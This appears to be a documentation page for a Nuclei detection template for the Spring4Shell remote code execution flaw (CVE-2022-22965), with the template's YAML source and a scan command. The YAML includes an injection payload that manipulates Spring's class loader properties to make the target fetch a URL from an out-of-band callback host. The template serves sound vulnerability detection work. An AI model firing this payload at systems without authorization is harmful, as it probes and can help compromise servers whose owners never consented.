Spring Framework RCE via Data Binding on JDK 9+
ID: spring4shell-CVE-2022-22965
Severity: critical
Author: DhiyaneshDK,ritikchaddha
Tags: packetstorm,cve,cve2024,dast,spring,rce,kev
Description
Section titled “Description”A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
YAML Source
Section titled “YAML Source”id: spring4shell-CVE-2022-22965
info: name: Spring Framework RCE via Data Binding on JDK 9+ author: DhiyaneshDK,ritikchaddha severity: critical description: | A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it. reference: - https://spring.io/security/cve-2022-22965 - https://pentest-tools.com/blog/detect-exploit-spring4shell-cve-2022-22965 - http://packetstormsecurity.com/files/167011/Spring4Shell-Spring-Framework-Class-Property-Remote-Code-Execution.html - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0005 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-java-spring-rce-Zx9GUc67 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-22965 cwe-id: CWE-94 epss-score: 0.97483 epss-percentile: 0.99971 cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: vmware product: spring_framework tags: packetstorm,cve,cve2024,dast,spring,rce,kev
http: - pre-condition: - type: dsl dsl: - 'method == "GET"'
payloads: nix_fuzz: - 'class.module.classLoader.resources.context.configFile=http://{{interactsh-url}}'
fuzzing: - part: query type: replace # replaces existing parameter value with fuzz payload mode: multiple # replaces all parameters value with fuzz payload fuzz: - '{{nix_fuzz}}'
matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http"
- type: word part: interactsh_request words: - "User-Agent: Java" case-insensitive: true# digest: 4a0a00473045022100d3db8bbbe0510ee216ae27652bf3f525d711497be0e6081b59f614e469c9e0c60220241efddbb889520b5d9ab9461c2c38205bf09157df2bb490ff7b22635313159b:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "dast/cves/2022/CVE-2022-22965.yaml"